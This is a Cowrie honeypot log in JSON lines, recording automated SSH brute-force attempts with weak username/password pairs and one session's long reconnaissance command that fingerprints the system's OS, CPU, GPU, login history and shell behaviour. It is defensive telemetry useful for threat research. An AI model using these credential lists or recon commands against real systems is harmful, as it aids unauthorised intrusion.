{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":33340,"dst_ip":"10.17.0.5","dst_port":22,"session":"780203cd0b5f","protocol":"ssh","message":"New connection: 38.242.143.220:33340 (10.17.0.5:22) [session: 780203cd0b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:22.774155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:22.778219Z","src_ip":"38.242.143.220","session":"780203cd0b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:22.879369Z","src_ip":"38.242.143.220","session":"780203cd0b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david_mazieres","password":"david123","message":"login attempt [david_mazieres/david123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:23.189422Z","src_ip":"38.242.143.220","session":"780203cd0b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":32848,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3e457da447e","protocol":"ssh","message":"New connection: 91.92.40.4:32848 (10.17.0.5:22) [session: f3e457da447e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:23.547206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:23.551624Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:23.632668Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:23.651678Z","src_ip":"103.153.68.219","session":"123d63624525","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123qwe","message":"login attempt [oracle/123qwe] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:23.899184Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.224037Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.226918Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.230259Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.233158Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.235904Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.239442Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.242405Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.245505Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.249319Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.253330Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.257257Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.350063Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.379548Z","src_ip":"38.242.143.220","session":"780203cd0b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:24.435794Z","src_ip":"91.92.40.4","session":"f3e457da447e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":51600,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dce703e04de","protocol":"ssh","message":"New connection: 160.187.174.22:51600 (159.203.135.109:22) [session: 3dce703e04de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:32.586517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:32.590827Z","src_ip":"160.187.174.22","session":"3dce703e04de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:32.837098Z","src_ip":"160.187.174.22","session":"3dce703e04de","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:33.587894Z","src_ip":"160.187.174.22","session":"3dce703e04de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:34.198161Z","src_ip":"160.187.174.22","session":"3dce703e04de","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:34.201087Z","src_ip":"160.187.174.22","session":"3dce703e04de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:34.454916Z","src_ip":"160.187.174.22","session":"3dce703e04de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:34.459085Z","src_ip":"160.187.174.22","session":"3dce703e04de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59292,"dst_ip":"159.203.135.109","dst_port":22,"session":"b34014984bb6","protocol":"ssh","message":"New connection: 160.187.174.22:59292 (159.203.135.109:22) [session: b34014984bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:01.881542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:01.887360Z","src_ip":"160.187.174.22","session":"b34014984bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:02.121341Z","src_ip":"160.187.174.22","session":"b34014984bb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:02.822017Z","src_ip":"160.187.174.22","session":"b34014984bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:04.059043Z","src_ip":"160.187.174.22","session":"b34014984bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.11533236503601,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:14.592233Z","src_ip":"170.64.224.25","session":"daf58f118192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":56036,"dst_ip":"10.17.0.5","dst_port":22,"session":"783125ca719e","protocol":"ssh","message":"New connection: 14.177.234.24:56036 (10.17.0.5:22) [session: 783125ca719e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:14.803010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:14.807842Z","src_ip":"14.177.234.24","session":"783125ca719e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:15.048062Z","src_ip":"14.177.234.24","session":"783125ca719e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rj123456","message":"login attempt [root/Rj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:16.040905Z","src_ip":"14.177.234.24","session":"783125ca719e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:17.284297Z","src_ip":"14.177.234.24","session":"783125ca719e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34288,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd53416c1f8d","protocol":"ssh","message":"New connection: 160.187.174.22:34288 (159.203.135.109:22) [session: bd53416c1f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:30.747910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:30.752972Z","src_ip":"160.187.174.22","session":"bd53416c1f8d","protocol":"ssh"}
